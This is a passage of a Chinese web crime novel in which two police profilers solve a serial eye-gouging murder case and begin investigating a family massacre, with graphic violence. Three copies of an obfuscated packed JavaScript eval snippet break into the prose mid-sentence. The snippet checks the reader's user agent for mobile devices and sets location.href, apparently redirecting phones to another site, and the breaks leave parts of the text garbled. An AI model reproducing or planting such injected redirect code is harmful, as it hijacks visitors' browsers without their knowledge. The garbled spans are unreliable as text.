赵山河给两人倒了热水，看齐云松动作，他把注意力放在顾昭蕙身上，之前他决定向上求援，上边给他的建议就是请市局的两位同志，当时他听说这位顾组长破案很有一套，可是见到真人，他是有点失望的，两个人都太年轻了，并不是他想象中那种破案专家的样子。 顾昭蕙没有管赵山河的想法，她仔细的记录卷宗里每一句话，每一张照片。 三位受害者，三位受害者，年龄相当，都是二十岁至二十五岁之间，看照片中样貌也有点类似，顾昭蕙将三名死者的死亡照片放在一起，进行对比，三个女子都是梳着两个辫子，其中两个受害者辫子上带着红头菱，不过顾昭蕙看了看第一位受害者“这位受害者的头发当时是乱的？” 赵山河愣了一下点点头“是的，这位受害者是受害四天后才被发现的，当时那个收垃圾堆的那个路段修路，垃圾车过不去，所以有一个星期左右没有人收，发现受害者的时候身上十分凌乱。” 顾昭蕙点点头“那个现场还在吗？” 赵山河点点头“在的。” 听他这样说顾昭蕙愣了一下，这种能将案发现场留存这么久实在是不常见。 可能感觉到她的疑惑，“那个垃圾场是纺织厂小区的，受害者也是纺织厂的，因为案件太过恶劣，纺织厂一直要求尽快破案，他们也是非常配合的，当时就是觉着受害者死的太凄惨，就让留着垃圾场，结果又出现第二起，我们就更不敢放开，一直留在现在。” 顾昭蕙点点头继续看着案卷，她看了一下地图，三个受害者离的不算远，相隔大概一两公里的样子。 受害者服装没有相似的地方，军装，棉袄，花袄，普通的冬装。 职业也没有共通性，纺织厂女工，夜校学生，没有工作在家待业的女孩。 眼睛被挖，第一次不够熟练，所以多处伤口非常狰狞，第二次第三次都有明显进步，或许女孩的眼睛对凶手很有意义，顾昭蕙看将三个受害者的正常照片拿出来看一下，果然三个女孩眼睛都属于那种黑眼仁很圆很大的那种，眼型虽然不是一样的，但是黑眼仁都很黑，这样的眼睛，看人会给人一种很纯粹的感觉。 所以选择受害者重要的是眼睛，头发，红头菱可以待查。三个受害者失踪的时间是五六点钟，回家途中，她算了一下，十一月份，晚上五点钟，已经天黑了，第一现场都不是垃圾场，但是他又将尸体仍在垃圾场。 第一现场都没有找到，那个时间是下班时间，就算天黑，也有可能被人发现，所以凶手一定有个万全的办法将受害者带走。而后来将人扔到垃圾堆，也需要一个交通工具。 “赵队长，我们去现场看一下吧。”顾昭蕙将卷宗全都看过之后对赵队长说道。 赵队长点点头，“行我带你们去。” 坐在车上，齐云松跟她说了一些自己的想法，“这三个受害者年级差不多，长辫子，是不是说明凶手的目标就是这一类型？” 顾昭蕙点点头“很大可能。” “挖掉眼睛是为了什么？当做纪念品？凶手对受害者有感情？替代品，但是他为什么刺了那么多刀，带着恨意？”齐云松提出一堆问题。 顾昭蕙想了想说道“我看过三个女孩的照片，带走眼睛应该是这双眼睛对他有特别意义，至于说具体为什么，还需要一些线索。次那么多刀，只看三位受害者，第一位身上下腹有七八个刀口，而后面两位下腹就只有两三刀，剩下的所有的刀都是对着□□去的，那两三刀更像是失控下的误刺。” 顾昭蕙将自己想法说出来，前边开车的赵山河和副驾驶的另一位同志都认真听着“其实有的时候凶手手中的刀，并不一定只是凶器。对于本案的凶手来说，刀或许是他男性的象征。” 听她这样说前面两人都很惊讶，而旁边的齐云松若有所思。 “这个案子中，受害者并没有检查出侵犯，但是并不等于凶手没有做什么，从凶手的行为模式上来说，他就是在侵犯。这是一起因为望造成的案子。而凶手很有可能有障碍。” 赵山河差点要踩刹车，但是很快他就冷静下来，如果顾昭蕙说的是对的，那么他们一开始查案方向就有些问题，他们其实一直以来都觉着凶手对女性带有仇恨心里，查第一个案子的时候就是去查谁跟受害者有仇，后来就算并案侦查，其实方向也是这样的。 “那么凶手身边是不是有一位与这几位受害者相似的人？”齐云松问道。 顾昭蕙点点头“应该是的，一般连环杀手对受害者选择都有一定的规律和倾向，这种倾向会让他特意挑选合适的受害者，选择受害者也有可能是有原形的。有些时候，凶手在受害者原形那里没有自信，他或许因为喜欢，而产生一种惧怕心理，越喜欢越惧怕，他可能都不敢跟对方说一句话。” 车上另外三位男士静静地听着，车子慢慢的行驶在街道上“这种喜欢惧怕复杂的心思，让凶手产生扭曲，有一天他控制不住，就会找到替代品，做出无法想象的事情，每一次作案，都让他更强大，或许有一天他就不需要替代品了。”顾昭蕙说道这里，觉着这个案子的凶手或许就是这样的。 来到垃圾场，这边的垃圾场是那种用水泥抹的那中三面围墙簸箕型的垃圾场，顾昭蕙也了解了，这样的垃圾场在北河市有很多，是前年的市政工程，扔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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顾昭蕙点点头“应该没错。他特意将受害者抛到这里，说明他对受害者没有尊重甚至有一种超然心态，他觉着他将对方像扔垃圾一样将人扔掉，甚至让人与垃圾为伍。凶手对受害者心里非常复杂。” “又爱又恨？”齐云松歪着脑袋说。 顾昭蕙想了想，抬头看他“或许是被吸引又得不到，甚至对方觉着凶手是那种她看都不想看一眼的，她面对凶手的时候应该有些傲气。她眼睛里看的都是别人。” “所以带走眼睛，是想让她看着他，之后抛弃垃圾场，代表了他将对方弃如敝履。”齐云松觉着如果按照顾昭蕙的思路，带入凶手那么就能摸到一点边了。 顾昭蕙点点头，拿着炉钩子继续在垃圾堆里翻找，过了一会她从垃圾堆里勾出一个东西“找到了。” 齐云松看过去是一个红色的头绫子，在头绫子的边缘有一块暗红色的痕迹，如果是受害者的，那么这个痕迹就是受害者血迹。 不过这只是判断三名受害者共同点的一个证据，对破获案件帮助并不是很大。 顾昭蕙也清楚，但是连环凶杀案，第一个案件都是很重要的，因为凶手第一次作案，会留出更多破绽，可惜现在的检测条件不成熟，很多线索都无法检测。最重要的DNA都无法检测，让案件破获更加困难。 65. 第 65 章 第六十五章 将垃圾堆能找到的线索，翻找了一遍，除去确认了凶手抛尸方式，还有红头绫子这个线索外，就没有更多的收获了。 顾昭蕙带着几个人在纺织厂这边家属院走了一趟，因为这个垃圾堆的位置有点特别，在纺织厂家属院后门十米左右的位置，这边算是死胡同，所以当水管爆裂需要修理的时候，这边垃圾堆才会没有人收拾，也就是说凶手抛尸的时候也需要避开这条路，她问过当时因为水管爆裂，这边冻了冰，除此之外因为是喷射水，使得这边冰一点也不凭证，两边树上都挂上了冰川。那时候虽然能走人，但是车子是无法过来的。 这样看的话，凶手是不可能从那边的路过来，受害者虽然苗条，但是穿着棉袄体重也要有一百斤，死亡后抛尸，不是那么容易，凶手一定有个运输尸体的车子。现在几乎没有私人汽车，私人自行车都不算多，那么能运送尸体的不是三轮车就是牛马拉的车。 纺织厂家属院，前后有两百多米，是个比较大的家属院，这边纺织业非常发达，纺织厂也比其他厂子有钱，所以大院也大，一部分是平房，一部分是楼房。问过家属院保卫，这个家属院里，有纺织一厂二厂三厂的职工，拢共有两千多人在纺织厂工作。 算上家属有五千多人，顾昭蕙对此非常在意。 “你是怀疑凶手是家属区的？”齐云松问。 顾昭蕙想了想点点头，“有点，一般连环凶手的第一个案子总是线索最多的，往往凶手这个时候犯的错误更多。只是凶手大多数时候会将尸体抛到远离自己安全区的地方，但是看这第一个受害者，我觉着凶手对这个地方非常熟悉。” 有点矛盾的观点，齐云松将自己带入凶手的视角，加入自己是凶手会怎么样？杀了人抛弃尸体，肯定不会扔在自己家附近。应该挑选一个远离自己的地方。 齐云松忍不住抱着胳膊，咬了咬下唇，“‘我’知道这个地方，甚至来过几次，有点熟悉，可是这里没有人注意‘我’，将人扔在这边。”他环顾四周，突然眼睛亮了亮看向顾昭蕙“他回来了，第一次作案，他心情肯定复杂，你说过凶手都喜欢回到现场，他也一样，这个地方他有些熟悉，他过来不会有人觉着奇怪，他每天回来看看，是否有人发现他做的事。” 顾昭蕙看他亮晶晶的眼睛，笑了笑，没有说话。 齐云松眯了眯眼睛“这人的工作跟这边有些关系。” 顾昭蕙听到这里，突然想到什么“这边收垃圾的是环卫的工作吧。”她转头问赵山河。 赵山河跟这俩小时都有点傻了就觉着跟不上两个人的思路，怎么就从这些线索里看出这么多的事情。这会听到顾昭蕙的提问，赶紧回答“是属于环卫。有专门收垃圾的人。” 顾昭蕙点点头“这边收垃圾的工作人员你们调查过吗？” 赵山河点点头，“已经调查过了，并没有发现问题，他们也有不在场证明。” 一行人又去另外两个受害者被抛尸的垃圾场看过，第二个与第一个相同，是被抛尸在里面，第三个就不一样了，是直接扔在垃圾堆上面，因为那天是大年初一，这边并没有人，是第二天早上被人发现的。 “第二位死者的发现者是谁？我记得卷宗里没有提起？”顾昭蕙想到一个问题。 “哦那是有人打了一个电话到市局，说是发现了尸体，那人好像很害怕，说了地点之后就挂断了，我们并没有找到人。”赵山河说道。 “你们没有查这个人？”齐云松问。他一经发现问题了，可是赵山河这边并没有重视。 赵山河摇了摇头，那个电话是邮局的电话，我们去问，邮局的人也不记得是谁打的。当时他们发现两个案子都是同一凶手，注意力全都在第二名受害者身上了。 “凶手在成长，他等不及想要看看自己的杰作，所以他打那个电话，而第三个他是在炫耀，就那么明晃晃的将人摆在明面，让人看到他做到的事情。”顾昭蕙说道。可惜了或许当时仔细查查也许能得到一些凶手的线索，甚至他的外貌也能知道。现在说什么都完了。 “你是说那个电话是凶手打的？”赵山河这会听明白了。 顾昭蕙点点头，看向齐云松“你觉不觉得凶手的行为进化很快，或许凶手比我们想的要聪明。” 齐云松点点头，他跟着顾昭蕙将三个现场走下来，他下意识的将自己带入凶手的角色，然后发现，带入凶手视角后，很多行为都是有迹可循的，每一步都是凶手心理演化，而顾昭蕙分析的非常清晰。一个凶手的模糊影像似乎已经出现在他的眼前。 三名受害者尸体还停在殡仪馆的停尸房，一行人没有回市局直接找个地方简单吃了点东西，就直接去了殡仪馆，顾昭蕙仔细看了三具尸体，跟她想的一样，凶手的手段从最开始的犹豫失控，到后来的果断，和有目的的控制折磨。 顾昭蕙指着第一名受害者腹部，“你看这几刀深浅不一，这个地方痕迹很浅，这里又太深，这些地方的刀口重复度很高，有些失控。”她仔细讲给齐云松听，脑海中有一些关于刀伤鉴定，刀口深浅，与心理学上的一些关系。乱七八糟的东西混合在一起，得到的一些结论，她结合这个案子，跟齐云松讲解一下。因为她发现齐云松在这方面真的很有天分。 齐云松听得很认真，另一边赵山河与另一位同事也认真的听着，但是理解就不是那么好了，不明白怎么就能从一个刀口形状深浅，就看出那么多东西。 “我看验尸报告中显示第一名受害者，是被刺破腹动脉而死，而且因为直接隔断大动脉，所以死的很快，有些伤口是死后伤，后两名死者伤多数为死前伤。这是不是就说明他进步了？”齐云松想到报告中的信息。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13150332|130848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “嗯，是的，对于第一名受害者，他是开始是有些无措的，而对于第二名受害者，他已经进步很多，他用了更多的时间折磨受害者。”顾昭蕙指着受害者身上的一些伤口，“这几处伤口间隔时间长，伤口表现不同。或许那一个月他都在回味自己的作案过程。或许他在脑海中进行了模拟。幻想着面对下一个受害者的时候，自己该怎么做。” 齐云松点点头，他仔细看了看伤口。实际上用第三名受害者伤口与第一名受害者做对比会更加清晰。 经过一天的跑现场，两个人回到市局，进行了一些讨论，差不多将凶手的画像做了出来。 “他年龄二十到二十五岁，与受害者应该属于同龄人，性格内向，不爱说话，外表有些自卑，工作不够体面，身上总是有种怪味道，可能与人接触的时候会让人觉着气味难闻，女孩子可能看见他就绕道走。” “人可能有点瘦，父母或许有一方不在了，家庭并不完整，也许从小寄人篱下。他小的时候学习应该不错，但是因为家庭原因，没有继续学业，不过他平常应该偷偷学习，或许是看报看书，自己学习。” 赵山河听了两人的分析眉头皱着，想了一会“按照你们说的这个，我倒是觉着有个人很像。” 顾昭蕙和齐云松看向他，心里都有点不可思议，不会吧一下就找到人了？说实话这是他们两个人头一次利用这种心理分析，来确定一个嫌疑人画像，属于新的尝试。 赵山河想了想说“在纺织厂附近有个废品回收场，那边有个职工叫王傲的年轻人，他跟你们说的很相似。他父亲是电工，他小时候生活还不错，不过有一处他父亲在工作的时候出现失误被电死了，那时候旧社会连个赔偿都没有，之后他母亲就改嫁了。嫁的男人就是纺织三厂的。听说还是个小干部。” 赵山河吸了口烟，“他那个后爸家里还有个女孩，好像十几岁的时候他被赶出来了，好像是说他偷看女孩洗澡，当时外边传的挺不好的，这孩子也没地方，流浪了一阵子，后来街道看他可怜就给他安排到废品收购站了。” “他就住在收购站后边的一间小屋里，收购站平常也派人下去收东西，这不是冬天了吗，收购站的人怕冷，就他骑着三轮车到处跑。” “之所以想到他是因为当时我们查第一位受害人的时候，当时纺织厂人都说他当时在院里收东西。我们查过他，但是他进院的时候从前边往后收东西，车上都是纸壳子破烂，如果他车上拉着尸体，他怎么不急着抛尸，反而拉着尸体到处走？”这是赵山河想不明白的事情。 “先查查他的情况，然后去看看那台三轮车，如果作为抛尸工具，也许能有点线索。另外看看在另外两个受害者失踪的那个时间他在那里。最重要的是查一下废品收购站。如果他是凶手，那么第一现场应该就在那里。”顾昭蕙做了决定。 66. 第 66 章 第六十六章 有了目标，大家行动起来，北河市刑侦大队的组员都憋着一股劲，都想赶快抓住人，如果再发生类似案件，那他们这些人都该被骂死了。 顾昭蕙也没想到他们会这么猛，竟然直接将人给抓回来了。 实际上她的想法是先找到证据，然后再抓人，这是原本属于顾湘的抓捕程序，也是在警校学习的时候一直强调的。很多时候就算知道那个人是罪犯也不能随意抓捕。后来也有很多因为抓捕的时候出现问题，造成罪犯倒打一耙，不然也不会带记录仪了。 可是这年代没有那么多说法，只要怀疑就可以抓起来。 虽然不怎么赞同这样的事情，但是顾昭蕙还是从门口的窗户往屋子里看，观察这个叫王傲的人。 一个长得很瘦的年轻人，身上穿着有点不合身的棉袄，头发有点长，遮了眼睛，他侧着坐在凳子上，双手被手铐扣在桌子上，两只手不自觉的捏着手指，身体微微晃着，看起来有些紧张。 人坐在那里缩着，但是身高应该不矮。 “什么感觉？”顾昭蕙问旁边的齐云松。 “跟我想的感觉差不多，他很沉默，似乎并不害怕，但是他的这种沉默也并不能表明他是凶手。而且看着他的样子应该不会交代。”齐云松说道。 顾昭蕙点点头“还是要找到证据。” 赵山河带着人审讯王傲，顾昭蕙和齐云松一起去回收站看看。 回收站王傲住的地方，是个只有六平方的小屋，还是从旁边收购站隔出来的一个小屋，屋子虽然小，但是顾昭蕙发现这屋子竟然出奇的干净。与王傲身上那种带有气味脏兮兮的感觉完全不同。 这屋子里最引人注意的是靠着窗那个小炕上靠西墙那边，有一排排书。她走过去一看，那边有课本还有历史书物理化学书，包罗万象。 检查了屋子，并没有发现什么可疑的物品。 “如果他作案，那么作案现场在那里。”顾昭蕙站门口看废品收货站的院子，看着这个有点乱糟糟的院子，一眼能望到头，废品按照种类分成一堆堆的。 “市局已经找过了，并没有在这里。”齐云松皱着眉头说道，他刚才跟本地同志了解了情况。 两个人在王傲住的地方，没有得到什么线索。 回到市局，赵山河那里也没有收获，王傲除了说不知道外，别的什么都没说。 顾昭蕙对这个结果没有意外，这会市局调查的同志已经回来了，顾昭蕙将那些调查出来的信息进行整理查看。 王傲果然如同赵山河当年说的那样，父亲在他十二岁的时候去世了，他母亲在半年后改嫁了，嫁的是纺织三厂的胡科长，胡科长死了老婆，有一个女儿比王傲大一岁，他母亲在结婚一年后给胡科长生了一个儿子，本来日子应该不错的，但是胡科长非常不喜欢这个拖油瓶，这个胡科长虽然不会打骂人，可他还不如打骂，对王傲简直就是冷暴力，在外人面前好像是个慈父，实际在家里王傲过得连狗都不如，吃剩饭睡地上。 在王傲十六岁那年突然有一天胡科长对王傲动了手，把人撵出去。后来看热闹的人说，王傲偷看胡科长家姑娘洗澡，所以才被撵出去。 齐云松从外面走进来，将一张照片放到顾昭蕙的面前，顾昭蕙一看，那女孩那双眼睛，与几位受害者很相似，同时女孩还梳着一双大辫子。 “十一月初一，那天是胡芸洁结婚的日子。”齐云松说道。 顾昭蕙叹了口气，“王傲偷看胡芸洁洗澡的事情，再查查，我总觉着他是冤枉的。” 齐云松刚才跟几个办案的公安了解了情况“他母亲嫁入胡家后从来没有照顾过自己的儿子，听说王傲在胡家的日子他母亲经常打骂，倒是胡科长并没有这么做，在外人面前还会劝一劝，不过他家楼下的老太太没事爱听声，对他家的情况了解一些，这些情况都是老太太说的。” 顾昭蕙突然想到“我记得赵山河说过王傲在外面流浪一阵，那他那段日子住在哪里？总不能冬天都睡大街了吧。” 齐云松翻了翻资料，也没有找到，“我等回去问问。”说完想起刚回来的人“对了他们查了两名受害者附近的住户，有人看到王傲那几天在那边收破烂，不过时间没有对上，并不能确定他当时就在。” 顾昭蕙“但是他也没有不在场证明。” “是的。”齐云松说完就走了出去。 过了一个多小时，齐云松回来满头是汗应该是跑回来的“他当年离开家后去了他家老宅，他家那个老宅本来母亲出嫁后，卖给了别人，但是那家人第二年不知道怎么的就吃了耗子药了，一家五口一个没活，等在屋子里烂了才有人闻到味报警，后来那院子就没人住，慢慢的就破败了，他被赶出家后，就住在哪里，那边院子只有一间屋子还能住人。也就当个窝而已。” 顾昭蕙站起身拿了挎包“走去看看。” 带着人去了那个老屋，这边真的很破烂，位置就在电厂家属院边缘地带，“当年这里还是很好的房子，靠边的都是独门独院，四九年前没有分房子那一说，院子都是自己买的。”电厂看门大爷带着几个人来到这边“可惜了，那家人都死了，这边就成了荒屋。” 顾昭蕙和齐云松进了院子，她停下脚步，指了指地面“最近还有人过来。”地面的雪地有些脚印。顾昭蕙低下去仔细看着地下的脚印，“看脚印与王傲吻合。可以做对比。” 正房三间，西边那间已经坍塌了，只有半边屋子，东边的屋子窗户也是破烂的，顾昭蕙也没进屋她顺着脚印来到后院，后院有墙，墙面是后院的倒座房，中间大约有一米五的宽度，到了后边痕迹就明显了。 “这是个地窖。”齐云松往前迈了一大步走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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再次提审王傲，王傲看到那些结果后，好半天没有反应，过了一会身子突然做正了，抬起头，那是顾昭蕙第一次看着他的眼睛，不过那眼睛中是一种特别死寂的神色。他只是愣愣的看着他们，笑了一下，然后就低下头，不再说话。 顾昭蕙觉着他那一笑似乎有点解脱，但是他并没有配合，顾昭蕙有点奇怪，一般连环杀人案的嫌疑人在心理上多少有些问题，但是他们在被抓后，会有倾诉的欲望。 心中虽然奇怪，但是因为证据确凿，这个案子已经可以结案了。顾智慧和齐云松毕竟是过来帮忙，京城那边又来了电话，说是那边也有个棘手的案子，让他俩快点回去。 所以第二天一早他们俩就坐火车回了京城。他们以为事情到此就结束了，剩下的都是细节，就看北河市怎么处理了，如果能问出案件经过，就更好了。 一直到三个月后，北河这边来了电话，说了骇人听闻的后续。 67. 第 67 章 第六十七章 关于王傲的事情顾昭蕙是在三个月以后听说的，王傲的案件轰动一时，北河市准备进行公审，只是王傲一直没有吐口，自己的作案经过，在公审的前一天，他突然提出一个意见，说是想见自己那个继姐，北河市局经过会议讨论，觉得如果这个事情真的能让王傲交代作案经过，那也不是不可行。 他们跟胡芸洁做了工作，胡芸洁也不知道出于什么考虑竟然同意了，之后两个人就在市局的监视下见了面，当时两个人隔着铁栏杆，王傲当时穿着监狱的服装，头发也剪短了，整个人看起来清爽很多。 胡芸洁见到他说的倒是多了些，在会见结束，王傲笑着伸出手，“姐姐，你知道我一直喜欢你。从来没变过。”胡芸洁也许是心理有种暗暗的满足，又或者对这个弟弟也有些感情，这个当时看着的两名公安无从得知，她伸出手与王傲的手握在一起。 王傲等的就是这个机会，他整个人突然面目狰狞起来，将人拉到栏杆跟前，用另外一只手将胡芸洁的眼睛挖了下来。他因为双手带着手铐，为了做出这些动作，整个胳膊都抹掉一层皮。 在场的两位发现问题已经晚了。这是王傲一直等待的机会。 他不但将她的眼睛挖下来，还直接吞掉了。那种血腥场面给监视的众人都吓傻了。他们冲进去之后只剩下痛苦呻吟的胡芸洁，还有疯狂笑着的王傲。 平静下来的王傲，整个人似乎都平和了，他提出交代问题。 ‘我进入胡家的第一天，就看到了她，她像个天使，对就是外国人说的那种，虽然咱们国家一般形容美好女性用仙女，但是我觉着那时候的她就像天使一样。’ ‘她的那双眼睛，像是黑葡萄，看着你的时候是那么的纯粹简单。那时候我觉着她是我在那个家里唯一的慰藉，我那个继父是个虚伪的人，他不想养我，在别人面前还装出一副慈父的样子，他让全家人都不与我说话，他让我母亲对我进行暴力，我那个母亲就是个离开男人就活不了的，男人说什么她就做什么，甚至比他交代的还要厉害。’ ‘他有很多折磨人的法子，大冬天的泼我一身水，让我去阳台那里待着，我只能蹲在那里，因为不能露头，如果被人发现了，得到的就是一顿皮鞭。那次我差点发烧烧坏，是她给了我一杯水。’王傲说到这里的时候脸上露出一丝笑容。 ‘我早就想离开家。但是不舍的她，我觉着她就像是天使，温暖我，只要有她在我什么苦都无所谓了。直到那一天。’ 王傲说到这里停顿了一下，似乎在回忆什么‘我错了恶魔怎么会生出天使，那天我出门挖野菜，我在家里每天只有一个窝窝头，很饿，所以我就出去挖野菜，混个饱，也许是运气好，那天碰到以前的老邻居，她看我可怜，给我一个馒头，很好吃。我提前回了家，然后我就看见，她和一个男生在屋子里做那个事情。呵呵，你们能想象吗，你心中如同女神一样纯洁的女孩，竟然跟人就在客厅里苟合。她看起来就像母狗一样。让人恶心。’王傲说着脸上带着阴沉得表情。 ‘更让人恶心的是，她怕事情败露，竟然诬陷我，那个老东西知道他女儿什么德行，所以他当时把事情闹的很大。让我没有容身之地。’ 王傲说着突然笑了‘知道为什么，你们一找她，她就过来了吗？因为她怕我把事情说出去，她结婚前，来找我，那个样子好像我是一坨垃圾一样，似乎跟我站在一起就觉着恶心。她给我甩出一百块钱，想要收买我让我不要出去乱说。呵呵，做贼心虚。’ ‘她还瞪着那双眼睛，看起来像是天使，实际上就是个恶魔，什么纯洁，那眼睛里都是令人作呕的肮脏。她那样的人就该躺在垃圾堆里。’ ‘不过我不会杀她，她活着才会一天天在黑暗中，想着我，总有一天她满脑子都是我。哈哈哈，这辈子别想摆脱我。’王傲说完，满是疯狂的笑。 王傲在常年被虐待的情况下，心理早就有问题了，之后又一次次的被刺激让他心灵扭曲，就在胡芸洁结婚前一个月，王傲去医院做过检查，结果发现自己不能人道，这应该是压死骆驼的最后一根稻草。 王傲当年正是身体发育的时候，也不知道是不是想让他直接生病病死，还是怎么的，王傲的继父一生气就让其母给他身上泼水，然后把人关在阳台，那年王傲反复发烧生病，还是楼下老太太发现了，告诉街道，有人干预上门了解情况，他们才停止这种行为。 也许就因为这个他身体出现问题。 王傲公审之后直接木仓决了。胡芸洁的双眼没有任何恢复的可能，因为案件进行了公审，所有的案件内容包括王傲的笔录，公众都知道了，胡芸洁婆家根本无法面对这样的媳妇，跟他离了婚，胡芸洁的父亲也因为这个案子，真面目被扒了下来，最后单位跟他约谈，最终调到了边疆地区，一家子以最快速度离开了北河市。 至于后来如何，看了完整卷宗的顾昭蕙清楚，对于他们来说，王傲就像是一根刺，扎到心里再也拔不出来，这辈子他们都会活在他的阴影之中。这都是王傲早就计划好的。 顾昭蕙和齐云松回到京城，还不知道王傲案，还有后续。两人回到京城根本没有休息，下了火车李想过来接他俩，“朝阳区那边发生了一起灭门案，一个星期前发生的，现在那边正在开会，大队长知道你们俩这会回来，让我接了你们直接过去。” 两个人自然也不会有啥意见，直接坐了车去了朝阳派出所，这边属于大所，一般案子自己都做了，轮不到他们，实际上各个所之间也是有竞争的。也不希望别人插手自己的案子，今天这个案子肯定大了，不然也不会让市局插手，她记得朝阳派出所的刑侦队长叫张耀扬，人就跟他的名字一样，张扬，他的破案能力也很厉害的。 路上李想将案子简单跟他们两人说了案子发生在亮马桥那边，这时候市区还没有扩建，这边全都是田地，案子发生在亮马桥附近的一个小农场，农场是前年建立的，属于劳改农场，不过附近也有普通民众 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13150334|130848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，案子发生的地方就是这边的居民聚集地，有一家七户，从七十岁老人到一岁婴儿，全都被杀了，现场血腥凶残。 “那边属于朝阳区派出所管辖，虽然当地分所处理不好，直接诶就报上去了，朝阳区派出所那边张队长带人过去了，案子没有头绪。因为当时案子发生的比较恶劣，地点又有点敏感，上边让限期破案，” 顾昭蕙点点头，一个星期前，也就是她和齐云松还没出差前，案子就出来了，但是一个星期案子还没破，应该是连线索都没有，不然不会找到市局。 三个人来到朝阳区派出所，到了会议室，一打开门，霍，跟着火了似的，屋子里全是烟。 “哎，小顾小齐你们俩回来了，来来，到这边坐。”范伟强看见他俩，眼睛都亮了。 屋子里有十几位同志，差不多每人手上一根烟。 “我来介绍一下，这两位是我们刑侦大队的两位同志，顾昭蕙和齐云松，他们之前出差，支援北河市同志办理一个案子今天正好回来。” “来，小顾小齐，我给你们介绍一下，这位是朝阳派出所所长，林楠，这是刑侦队长张耀扬。”范伟强赶紧给两人介绍。 林楠是个四十多岁的男人，看起来是军人出身，看起来很稳重。张耀扬三十多岁的样子，个子很高，看起来很强壮，这人看人的眼神很有侵略性，似乎都带着刀子。 之后又简单介绍了其它的同事，顾昭蕙和齐云松就坐下来，毕竟是开会。 知道他们俩刚过来不了解情况，范伟强将卷宗递给他们。 两人先看卷宗，那边一群人继续开会。 “我觉得还是仇杀。手段太过残忍，连婴儿都不放过。”一个同志说道。 “可是我们调查这么长时间，并没有发现他们家和什么人结怨。”另外一位同志说道。 顾昭蕙一边看着卷宗，一边听着他们的讨论，才发现他们这一个星期果然没有太多收获，连杀人动机都没有确定。 现场照片很多，但是这年代相机的像素不行，看的不是很清楚，还有就是这是黑白照，看起来不那么直观。 顾昭蕙觉着与其在这里开会不如去现场看一看。 想到了就做，她歪头跟范伟强说“大队长，我们去看一下现场吧。” 范伟强正听着大家的讨论，听到她说，就点点头“行，我让张队长派人带你们过去。”实际上他们接触这个案子也有两天了，但是走访调查根本没有太大的收获。 顾昭蕙没有想到张耀扬竟然将人仍在会议室，自己带着他们去案发现场。 实际上顾昭蕙不清楚自己的名字在京城公安圈里已经是家喻户晓了。 尤其今天见到范伟强后，范伟强对他们俩一顿显摆，破获连环杀手案，北河市办了三个月的案子，让他们俩不到三天就破了，还是那种比较难的连环杀人案，绝对是非常炸裂的消息。 也因为这个张耀扬才会跟过来，就是想看看他们的破案方式。 68. 第 68 章 第六十七章 几个人来到第一现场，房子是个三合院，应该是自家盖得，院子非常大，顾昭蕙从门口看起，这家人应该很爱干净，院子当中铺着青石板，之前可能清扫过，顾昭蕙看了看，直接走了进去，因为来了太多人，已经没有任何价值了。 没进屋，就看到大门口有一摊血迹，然后用白色粉末画出来的人性，这是家里女主人死亡的地方，顾昭蕙回忆死亡照片，她当时身体看着是在往外爬，被凶手从后面刺了七刀，是除了男主人外被刺最多的。其中几刀，完全避开了要害，这是个疑点。在门口这里顾昭蕙蹲下身，观察着地面的血迹。然后进屋，看到有一滩血迹。 “相机。”顾昭蕙对着齐云松伸出手。 齐云松掏出相机递给她，咔嚓咔嚓，顾昭蕙对着地面血迹进行拍摄。 之后她走到东屋，看到炕上有一摊血迹，这是男主人死亡地点，他应该是在睡梦中被人扎死，身上被刺六刀，整个人没有反抗痕迹。顾昭蕙仔细回忆男主人死亡照片，其中有些地方有点奇怪。这个受害者十分强壮，据说他还是农场的一个小队长，专门带人劳作，是个非常有力气的男人。 除了男女主人，东屋墙角还有一摊血迹，那是孩子的血迹，孩子是被摔死的，头部撞墙脖颈扭断，凶手拿一下十分干脆。 顾昭蕙检查血迹以及各种痕迹，脑海中模拟着凶手的动作和行为轨迹。 走出正房，她来到西厢房，西厢房门口有几滴血液，顾昭蕙蹲下去眉头皱着看着几滴血迹，又回了回头，然后拿着照相机将几滴血迹拍下来。这几滴血迹虽然被画了圈做了标记，但是照相的人员并没有将它照下来。 西屋北边有一铺炕，老太太带两个孙女住在这边，老太太死在炕上，小孙女身体在地上，不过应该是大孙女反抗的时候带到地上的，她是这屋里第二个受害者。 大孙女按理说应该有叫声。 顾昭蕙觉着脑海中的模拟有些问题，似乎那里不对劲。 这家的大儿子死在东厢房门口，他走出屋子，但是也几乎没有什么反抗，被人一刀捅在心口，几乎当场毙命。 顾昭蕙眉头紧皱，站在东厢房门口，往正屋看了看，然后低下头这边有半枚脚印，这脚印几乎没有标记，因为只有半枚，想要确定凶手的特征很困难。 顾昭蕙蹲着将相机对着那个脚印照了几张，然后她将相机交给齐云松直接跪在地上，然后几乎是贴着地面看着那枚脚印，最后在脚印的位置提取一小捏土壤。 